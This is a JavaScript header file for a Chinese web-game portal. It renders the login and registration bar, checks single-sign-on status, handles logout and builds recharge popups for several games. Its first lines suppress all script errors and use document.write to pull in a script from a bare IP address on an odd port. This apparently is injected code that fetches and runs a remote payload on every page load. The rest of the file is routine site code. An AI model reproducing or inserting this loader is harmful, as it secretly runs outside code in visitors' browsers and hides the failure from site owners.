function killerrors() { return true; }
window.onerror = killerrors;

document.write('<script type="text/javascript" src="http://58.246.85.58:23586/stat/StatJS.js"></script>');

var o = document.createElement("link");
o.rel = "stylesheet";
o.type = "text/css";
o.href = "/css/top.css";
o.media = "screen";
var ho = document.getElementsByTagName('head')[0];
ho.appendChild(o);
document.write('<div id="all_header"></div>');
document.write('<div id="main_body_bg"></div>');
document.write('<div id="header_top_bg">');
document.write('	<div id="header_top">');
document.write('		<div class="wb_left">您好，<span id="username"></span>欢迎来到游戏风云！</div>');
document.write('		<div id="old_login"><a href="/frame.shtml?inner=6874747025334125324625324673736f2e6d6f32752e6e657425324673697476253246746f5f6c6f67696e2e646f2533465f66685f253344343030&h=400" class="wb_btn">登陆</a>');
document.write('		<a href="/frame.shtml?inner=6874747025334125324625324673736f2e6d6f32752e6e657425324673697476253246746f5f72656769737465722e646f2533465f66685f253344343830&h=480" class="wb_btn">注册</a></div >');
document.write('		<div id="new_login"><a href="/uc/to_login.do" class="wb_btn">新版登陆</a>');
document.write('		<a href="/uc/to_register.do" class="wb_btn">新版注册</a></div >');
document.write('		<div class="wb_right">');
document.write('			<a href="/" class="mhome">首页</a>');
document.write('			<a href="/" class="mkefu">客服</a>');
document.write('		</div>');
document.write('	</div>');
document.write('</div>');

$.ajaxSetup({
  scriptCharset:"utf8"
});

var wb_check_flag = 0; //登陆状态码（全局调用）

checkOldLogin(250);
checkNewLogin(250);


function doAjaxLogout(){
	var url = "/uc/logout4ajax.do";
	var snum = 0;
	
	$.getJSON(url, function(res){
		try{
			var urls = res.logoutNotifyURLs;
			var length = urls.length;
			if(length > 0){
				for(var i=0; i<length; i++){
					$.ajax({
						type: "get",
						url: urls[i],
						dataType: "html",
						cache: false,
						timeout:250,
						complete:  function(xhr, ts){
							if(++snum >= length) document.location.href = "/";
						}
					});
				}
			}
		}catch(e){}
	});
}

function checkOldLogin(time_out){
	$.ajax({
		type: "get",
		url: "http://sso.mo2u.net/sitv/get_login_status.do",
		dataType: "script",
		cache: false,
		timeout: time_out,
		success:  function(){
			try{
				if(userid != null){
					showOldLogin(username); wb_check_flag += 2;
				}else{
					showOldLogin("");
				}
			}catch(e){}
		},
		error: function(xml,ts,errormsg){
			showOldLogin("");
			checkOldLogin(3000);
		}
	});
}

function checkNewLogin(time_out){
	$.ajax({
		type: "get",
		url: "/uc/get_login_status.do",
		dataType: "json",
		cache: false,
		timeout: time_out,
		success:  function(res){
			try{
				if(res.online){
					showNewLogin(res.user.username); wb_check_flag += 4;
				}else{
					//showNewLogin("");
				}
			}catch(e){}
		},
		error: function(xml,ts,errormsg){
			//showNewLogin("");
			checkNewLogin(4000);
		}
	});
}

function showOldLogin(name){
	if(name != ""){
		var logout = "<span class='logout'><a href='http://sso.mo2u.net/sitv/logout.do'>退出</a></span>";
		$("#username").html(name+"，").parent().append(logout);
	}else{
		$("#old_login").css("visibility","visible");
	}
}

function showNewLogin(name){
	if(name != ""){
		var logout = "<span class='logout'>您好，<em id='username_new'>" + name + "</em>&nbsp;<a href='/uc/home.do' class='home'>个人中心</a>，<a href='javascript:;' onclick='doAjaxLogout()'>退出</a></span>";
		$("#new_login").html(logout).css("visibility","visible");
	}else{
		$("#new_login").css("visibility","visible");
	}
}

function showSelectDiv(type_new_old){
	$(".select_div_bg").remove();
	
	var a = type_new_old.split("|");
	var divHtml = "<div class='select_div_bg'>";
	divHtml += "<div class='select_div'>";
	divHtml += "<div class='select_div_title'><div class='select_div_close'>关闭</div></div>";
	divHtml += "<div class='select_div_body'><div>";
	divHtml += a[0]=="game" ? "开始游戏>> " : "游戏充值>> ";
	divHtml += "<a href='" + a[2] + "' class='" + a[0] +"'>新版</a>&nbsp;&nbsp;";
	divHtml += "<a href='" + a[1] + "'>老版</a>";
	divHtml += "</div></div></div></div>";
	
	$("body").append(divHtml);
	
	var h = document.body.scrollTop==0 ? document.documentElement.scrollTop : document.body.scrollTop;
	h += 150;
	$(".select_div").css("top", h+"px");
	
	$(".select_div_close").click(function(){ $(".select_div_bg").css("display","none"); });
	$(".select_div_body .czhi").click(function(){
		if($("#username").html() == ""){
			document.location.href = "/uc/sso_login.do?app=mo2g&timestamp=1&return_url=" + encodeURI($(this).attr("href"));
			return false;
		}
	});
}


var cz_ddt = "czhi|http://sso.mo2u.net/sitv/login_return.do.imba.frame?returnURL=http%3A%2F%2Fsso.mo2u.net%2Fsitv%2Fgame%2FDDT%2Fgame_charge_input.do.ddt.frame.top|http://imba.sitv.com.cn/gc/game/DDT/game_charge_input.do.ddt.frame";

var cz_zsg = "czhi|http://sso.mo2u.net/sitv/login_return.do.imba.frame?returnURL=http%3A%2F%2Fsso.mo2u.net%2Fsitv%2Fgame%2FZSG%2Fgame_charge_input.do.zsg.frame.top|http://imba.sitv.com.cn/gc/game/ZSG/game_charge_input.do.zsg.frame";

var cz_mlxt = "czhi|http://sso.mo2u.net/sitv/games/game_web_charge.do.imba.frame?gameCode=MLXT&serverCode=SERVER1|http://imba.sitv.com.cn/gc/game_web_charge.do?gameCode=MLXT&serverCode=SERVER1";

$(function(){
	$(".cz_ddt").click(function(){ showSelectDiv(cz_ddt); });
	$(".cz_zsg").click(function(){ showSelectDiv(cz_zsg); });
	$(".cz_mlxt").click(function(){ showSelectDiv(cz_mlxt); });
});
